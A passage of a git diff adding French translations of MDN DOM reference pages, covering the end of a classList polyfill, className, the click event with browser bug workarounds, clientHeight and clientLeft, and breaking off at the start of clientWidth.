+        };
+    if (!DOMTokenListProto.contains) DOMTokenListProto.contains = function(value){
+        for (var i=0,Len=this.length; i !== Len; ++i) if (this[i] === value) return true;
+        return false;
+    };
+    if (!DOMTokenListProto.forEach) DOMTokenListProto.forEach = function(f){
+        if (arguments.length === 1) for (var i = 0, Len = this.length; i !== Len; ++i) f( this[i], i, this);
+        else for (var i=0,Len=this.length,tArg=arguments[1]; i !== Len; ++i) f.call(tArg, this[i], i, this);
+    };
+    if (!DOMTokenListProto.entries) DOMTokenListProto.entries = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex&lt;that.length ? {value: [nextIndex, that[nextIndex++]], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.values) DOMTokenListProto.values = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex&lt;that.length ? {value: that[nextIndex++], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.keys) DOMTokenListProto.keys = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex&lt;that.length ? {value: nextIndex++, done: false} : {done: true};
+        }};
+    };
+})(window.DOMTokenList.prototype, window.document.createElement("div").classList);
+})(window);
+</pre>
+
+<h3 id="Mise_en_garde">Mise en garde</h3>
+
+<p>La prothèse d'émulation est limitée dans sa fonctionnalité. Elle est actuellement incapable de traiter les éléments hors document (par exemple, les éléments créés par <code>document.createElement</code> avant d'être ajoutés à un nœud parent) dans IE6-7.</p>
+
+<p>Cependant, elle devrait très bien fonctionner dans IE9. Une différence majeure entre la version prothésée de <code>classList</code> et les spécifications du W3 est que pour IE6-8, il n'y a pas moyen de créer un objet immuable (un objet dont les propriétés ne peuvent pas être directement modifiées). Dans IE9, en revanche, c'est possible en étendant le prototype, en gelant l'objet visible et en écrasant les méthodes de propriétés natives. Cependant, de telles actions ne fonctionneraient pas dans IE6-IE8 et, dans IE9, elles ralentiraient la performance de la page web entière au point de la faire ramper, rendant ces modifications complètement impraticables pour cette prothèse d'émulation.</p>
+
+<p>Une note mineure est que dans IE6-7, cette prothèse utilise la propriété <code>window[" uCL"]</code> de l'objet window pour communiquer avec les expressions CSS, la propriété css <code>x-uCLp</code> sur tous les éléments, et la propriété <code>element[" uCL"]</code> sur tous les éléments pour permettre la collecte des déchets et augmenter les performances. Dans tous les navigateurs prothésés (IE6-9), une propriété <code>element[" uCLp"]</code> supplémentaire est ajoutée à l'élément pour garantir un prototypage conforme aux normes, et une propriété <code>DOMTokenList[" uCL"]</code> est ajoutée à chaque objet <code>element["classList"]</code> pour garantir que la <code>DOMTokenList</code> est liée à son propre élément.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#dom-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Note dans la spécification HTML relative à l'attribut {{htmlattrxref("class")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Element.classList")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("element.className")}}</li>
+ <li>{{domxref("DOMTokenList")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/classname/index.html b/files/fr/web/api/element/classname/index.html
new file mode 100644
index 0000000000..b5f2930e5e
--- /dev/null
+++ b/files/fr/web/api/element/classname/index.html
@@ -0,0 +1,81 @@
+---
+title: element.className
+slug: Web/API/Element/className
+tags:
+  - API
+  - Classe
+  - DOM
+  - Element
+  - Propriétés
+translation_of: Web/API/Element/className
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><span class="seoSummary">La propriété <strong>className</strong> de l'interface {{domxref("Element")}} récupère et définit la valeur de l'<a href="/fr/docs/Web/HTML/Attributs_universels/class">attribut <code>class</code></a> de l'élément spécifié</span></p>
+
+<h2 id="Syntaxe_et_valeurs" name="Syntaxe_et_valeurs">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var cName</var> = <var>elementNodeReference</var>.className;
+<var>elementNodeReference</var>.className = <var>cName</var>;</pre>
+
+<ul>
+ <li><em><var>cName</var> est une String (chaîne de caractères) représentant la classe (ou les classes séparées par des espaces) de l'élément courant.</em></li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">let</span> elm <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'item'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">if</span><span class="punctuation token">(</span>elm<span class="punctuation token">.</span>className <span class="operator token">===</span> <span class="string token">'active'</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+    elm<span class="punctuation token">.</span>className <span class="operator token">=</span> <span class="string token">'inactive'</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    elm<span class="punctuation token">.</span>className <span class="operator token">=</span> <span class="string token">'active'</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Le nom <code>className</code> est utilisé pour cette propriété au lieu de <code>class</code> à cause de conflits éventuels avec le mot-clé « class » dans beaucoup de langages utilisés pour manipuler le DOM.</p>
+
+<p><code>className</code> peut être une instance de {{domxref("SVGAnimatedString")}} si l'<code>element</code> est un {{domxref("SVGElement")}}. Dans ce cas là, l'usage de <code>className</code> ne fonctionnera pas, il sera donc préférable d'utiliser {{domxref("Element.getAttribute")}} et {{domxref("Element.setAttribute")}} si vous utilisez des élements SVG. </p>
+
+<pre class="brush: js"><code>elm.setAttribute('class', elm.getAttribute('class'))</code>
+</pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-classname", "element.className")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-classname", "element.className")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-95362176", "element.className")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Element.className")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("element.classList")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/click_event/index.html b/files/fr/web/api/element/click_event/index.html
new file mode 100644
index 0000000000..c290291e10
--- /dev/null
+++ b/files/fr/web/api/element/click_event/index.html
@@ -0,0 +1,155 @@
+---
+title: 'Element : évènement click'
+slug: Web/API/Element/click_event
+tags:
+  - API
+  - DOM
+  - Element
+  - Reference
+  - click
+translation_of: Web/API/Element/click_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'évènement <code><strong>click</strong></code> est déclenché à partir d'un élément lorsqu'un bouton d'un dispositif de pointage (comme celui d'une souris par exemple) est pressé puis relaché lorsque le pointeur est sur l'élément.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th>Se propage/remonte dans le DOM</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Propriété pour la gestion d'évènement</th>
+   <td>{{domxref("GlobalEventHandlers.onclick", "onclick")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Si le bouton est pressé sur un élément et que le pointeur est déplacé sur un autre élément, l'évènement sera déclenché sur l'ancêtre le plus près qui contient les deux éléments.</p>
+
+<p><code>click</code> est déclenché après que les évènements {{event("mousedown")}} et {{event("mouseup")}} aient été déclenchés.</p>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<p>L'objet {{domxref("MouseEvent")}}, passé au gestionnaire d'évènement (lorsque l'évènement est <code>click</code>) possède une propriété {{domxref("Event.detail", "detail")}} qui indique le nombre de fois où la cible ({{domxref("Event.target", "target")}}) a été cliquée. Autrement dit, <code>detail</code> vaudra 2 pour un double-clic, 3 pour un triple-clic et ainsi de suite. Le compteur est remis à zéro après un court intervalle (dont la durée spécifique peut varier entre les navigateurs, les plateformes et les préférences de l'utilisateur dont notamment les options d'accessibilité).</p>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<p>Internet Explorer 8 &amp; 9 souffrent d'un bug où les élméents avec une {{cssxref("background-color")}} calculée qui vaut <a href="/fr/docs/Web/CSS/color_value#transparent_keyword"><code>transparent</code></a> qui recouvrent d'autres éléments ne recevront pas d'évènements <code>click</code>. Les évènements <code>click</code> toucheront les éléments en dessous à la place.</p>
+
+<p>Quelques méthodes de contournement pour ce bug :</p>
+
+<ul>
+ <li>Pour IE9 :
+  <ul>
+   <li>Utiliser {{cssxref("background-color")}}<code>: <a href="/en-US/docs/Web/CSS/color_value#rgba()">rgba</a>(0,0,0,0)</code></li>
+   <li>Appliquer {{cssxref("opacity")}}<code>: 0</code> et une valeur explicite pour {{cssxref("background-color")}} qui ne soit pas <a href="/fr/docs/Web/CSS/color_value#transparent_keyword"><code>transparent</code></a></li>
+  </ul>
+ </li>
+ <li>Pour IE8 et IE9 : appliquer <code><a href="http://msdn.microsoft.com/en-us/library/ms532847(v=vs.85).aspx">filter</a>: alpha(opacity=0);</code> et une valeur explicite pour {{cssxref("background-color")}} qui ne soit pas <a href="/fr/docs/Web/CSS/color_value#transparent_keyword"><code>transparent</code></a></li>
+</ul>
+
+<h3 id="Safari_Mobile">Safari Mobile</h3>
+
+<p>Safari Mobile 7.0+ (et antérieures) <a href="https://bugs.webkit.org/show_bug.cgi?id=153887">souffre d'un bug</a> indiquant que les évènements <code>click</code> ne sont pas déclenchés sur les éléments qui ne sont généralement pas interactifs (ex. {{HTMLElement("div")}}) et qui n'ont pas de gestionnaire d'évènement directement attaché (on utilise la délégation d'évènement). Voir <a href="https://developer.apple.com/library/safari/documentation/appleapplications/reference/safariwebcontent/HandlingEvents/HandlingEvents.html#//apple_ref/doc/uid/TP40006511-SW6">la documentation de Safari sur le fait de rendre les éléments cliquables</a> et <a href="https://developer.apple.com/library/safari/documentation/appleapplications/reference/safariwebcontent/HandlingEvents/HandlingEvents.html#//apple_ref/doc/uid/TP40006511-SW7">la définition d'un élément cliquable</a>.</p>
+
+<p>Méthodes de contournement connues :</p>
+
+<ul>
+ <li>Ajouter {{cssxref("cursor")}}<code>: pointer;</code> sur l'élément ou l'un des ancêtres.</li>
+ <li>Ajouter un attribut <code>onclick="void(0)"</code> à l'élément ou à l'un des ancêtres (tant que ce n'est pas {{HTMLElement("body")}}).</li>
+ <li>Utiliser un élément interactif (ex. {{HTMLElement("a")}}) plutôt qu'un élément généralement non-interactif (ex. {{HTMLElement("div")}}).</li>
+ <li>Ne pas utiliser la délégation d'évènement pour <code>click</code>.</li>
+</ul>
+
+<p>Safari Mobile considère que les éléments suivants sont interactifs (et ne souffrent donc pas de ce bug) :</p>
+
+<ul>
+ <li>{{HTMLElement("a")}} (tant qu'il a un attribut <code>href</code>)</li>
+ <li>{{HTMLElement("area")}} (tant qu'il a un attribut <code>href</code>)</li>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("label")}} (tant qu'il est associé à un formulaire)</li>
+ <li>{{HTMLElement("textarea")}}</li>
+ <li><em>Liste à compléter.</em></li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on affiche le nombre de clics consécutifs sur un bouton HTML ({{HTMLElement("button")}}).</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button&gt;Cliquer ici&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const button = document.querySelector('button');
+
+button.addEventListener('click', event =&gt; {
+  button.innerHTML = `Nombre de clics : ${event.detail}`;
+});</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>Essayez de cliquer rapidement sur le bouton pour augmenter le nombre de clic. Après une pause, le compteur sera remis à zéro.</p>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-click')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-click', 'click')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-eventgroupings-mouseevents-h3', 'click')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Element.click_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mouseup_event"><code>mouseup</code></a></li>
+   <li><code><a href="/fr/docs/Web/API/Element/mousedown_event">mousedown</a></code></li>
+   <li><a href="/fr/docs/Web/API/Element/mousemove_event"><code>mousemove</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/dblclick_event"><code>dblclick</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseover_event"><code>mouseover</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseleave_event"><code>mouseleave</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/contextmenu_event"><code>contextmenu</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/clientheight/index.html b/files/fr/web/api/element/clientheight/index.html
new file mode 100644
index 0000000000..820b06e770
--- /dev/null
+++ b/files/fr/web/api/element/clientheight/index.html
@@ -0,0 +1,93 @@
+---
+title: element.clientHeight
+slug: Web/API/Element/clientHeight
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Element/clientHeight
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie la hauteur intérieure d'un élément en pixels. Celle-ci comprend les marges intérieures éventuelles (padding), mais ni la barre de défilement horizontale, ni les bordures ,ni les marges extérieures (margin).</p>
+<p><code>clientHeight</code> peut être calculée comme la propriété CSS <code>height</code> + la propriété CSS <code>padding</code> - la hauteur de la barre de défilement horizontale (si présente).</p>
+<h3 id="Syntaxe_et_valeurs" name="Syntaxe_et_valeurs">Syntaxe et valeurs</h3>
+<pre class="eval">var <var>h</var> = <var>element</var>.clientHeight;
+</pre>
+<p><var>h</var> est un entier représentant la valeur <code>clientHeight</code> de l'élément <var>element</var> en pixels. <code>clientHeight</code> est une propriété en lecture seule.</p>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+ <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+  <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+  <p>LA CHOUETTE<br>
+   <br>
+   Tel un fantôme dans la nuit<br>
+   Elle s'envole sans un bruit<br>
+   C'est la silhouette de la chouette<br>
+   Qui régurgite des boulettes<br>
+   Son cri terrifie les petits<br>
+   Qui se blottissent dans leur lit<br>
+   <br>
+   <br>
+   LE RENARD<br>
+   <br>
+   Animal nocturne et rusé<br>
+   Il a un beau manteau de feu<br>
+   C'est un canidé très futé<br>
+   S'approcher de lui on ne peut<br>
+   Avec sa queue immaculée<br>
+   Des passants il flatte les yeux<br>
+   <br>
+   <br>
+   LA CHAUVE-SOURIS<br>
+   <br>
+   C'est très dur de la voir<br>
+   Puisqu'elle vit dans le noir<br>
+   Elle aime du sang boire<br>
+   Et elle sort le soir<br>
+   <br>
+   <br>
+   LA GRENOUILLE<br>
+   <br>
+   Qu'est-c'qui saute et qui mouille<br>
+   Qui plonge et qui farfouille<br>
+   Qui nage et qui patouille<br>
+   C'est bien sûr la grenouille<br>
+   <br>
+   <br>
+   LE LION<br>
+   <br>
+   Le lion est carnivore<br>
+   Il a un beau pelage<br>
+   Il est souvent en cage<br>
+   Et ce soir il est mort<br>
+   <br>
+   <br>
+   L'ELEPHANT<br>
+   <br>
+   Descendant du mammouth<br>
+   Il est très imposant<br>
+   c'est bien sûr l'éléphant<br>
+   attendez j'ai un doute<br>
+   <br>
+   <br>
+   LE CHAT<br>
+   <br>
+   Talentueux chasseur<br>
+   Le chat est un joueur-né<br>
+   Il cherche avec son nez<br>
+   Et vit dans sa demeure</p>
+  <p>poèmes venant du <a class="external" href="http://membres.lycos.fr/peter2000/">site de peter2000</a></p>
+  <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+ </div>
+ <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -24px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+<p style="margin-top: 270px;"><img alt="Image:clientHeight_fr.png"></p>
+<h3 id="Sp.C3.A9cifications" name="Sp.C3.A9cifications">Spécifications</h3>
+<p><code>clientHeight</code> ne fait partie d'aucune spécification du W3C.</p>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p><code>clientHeight</code> est une propriété non standard, qui a été introduite dans le modèle objet d'Internet Explorer.</p>
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clientheight.asp">Définition de clientHeight sur MSDN (en anglais)</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">Mesure des dimensions et de la position d'un élément sur MSDN (en anglais)</a></li>
+ <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/clientHeight.html">Référence du DOM Gecko sur clientHeight (en anglais)</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.clientHeight", "ja": "ja/DOM/element.clientHeight", "pl": "pl/DOM/element.clientHeight", "zh-cn": "cn/DOM/element.clientHeight" } ) }}</p>
diff --git a/files/fr/web/api/element/clientleft/index.html b/files/fr/web/api/element/clientleft/index.html
new file mode 100644
index 0000000000..ce24f4ea3c
--- /dev/null
+++ b/files/fr/web/api/element/clientleft/index.html
@@ -0,0 +1,53 @@
+---
+title: element.clientLeft
+slug: Web/API/Element/clientLeft
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Element/clientLeft
+---
+<p>{{ Fx_minversion_header(3) }} {{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La largeur de la bordure gauche d'un élément en pixels. Celle-ci comprend la largeur de la barre de défilement verticale si la direction de l'élément est de droite à gauche et si un débordement provoque l'apparition d'une barre de défilement vertical sur la gauche. Les marges et le remplissage gauche (padding) ne font pas partie de <code>clientLeft</code>. Cette propriété est en lecture seule.</p>
+<p>Les applications basées sur <a href="fr/Gecko">Gecko</a> gèrent <code>clientLeft</code> à partir de Gecko 1.9 (<a href="fr/Firefox_3">Firefox 3</a>, implémentation dans le {{ Bug(111207) }}). Cette propriété n'est pas disponible dans Firefox 2 et les versions précédentes.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">var <var>gauche</var> = <var>element</var>.clientLeft;
+</pre>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+ <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+  <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+  <p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+  <p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+  <p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+  <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+ </div>
+ <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -24px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+<p style="margin-top: 270px;"><img alt="Image:clientLeft.png"></p>
+<p><img alt="Position de la barre de défilement verticale lorsque la propriété layout.scrollbar.side est à 1 ou 3"></p>
+<p>Lorsque la préférence <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side">
+ <i>
+  layout.scrollbar.side</i>
+ </a> est à 1 ou 3 et que la direction du texte est de droite à gauche (RTL), <b>la barre de défilement vertical sera placée à gauche</b> et cela influencera la manière dont <code>clientLeft</code> est calculée.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>Ne fait partie d'aucune spécification du W3C.</p>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p><code>clientLeft</code> faisait au départ partie du modèle objet DHTML de Microsoft Internet Explorer.</p>
+<p>La position de la barre de défilement vertical lorsque la direction du texte sur l'élément est de droite à gauche dépendra de la préférence <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side">
+ <i>
+  layout.scrollbar.side</i>
+ </a>.</p>
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clientleft.asp?frame=true">
+  <i>
+   clientLeft definition</i>
+  sur MSDN</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">
+  <i>
+   Measuring Element Dimension and Location</i>
+  sur MSDN</a></li>
+</ul>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.clientLeft", "es": "es/DOM/element.clientLeft", "ja": "ja/DOM/element.clientLeft", "pl": "pl/DOM/element.clientLeft" } ) }}</p>
diff --git a/files/fr/web/api/element/clientwidth/index.html b/files/fr/web/api/element/clientwidth/index.html
new file mode 100644
index 0000000000..6510d9fab8
--- /dev/null
+++ b/files/fr/web/api/element/clientwidth/index.html
@@ -0,0 +1,66 @@
+---
+title: element.clientWidth
+slug: Web/API/Element/clientWidth
+tags:
+  - API
+  - CSSOM View
+  - Propriété
+  - Reference
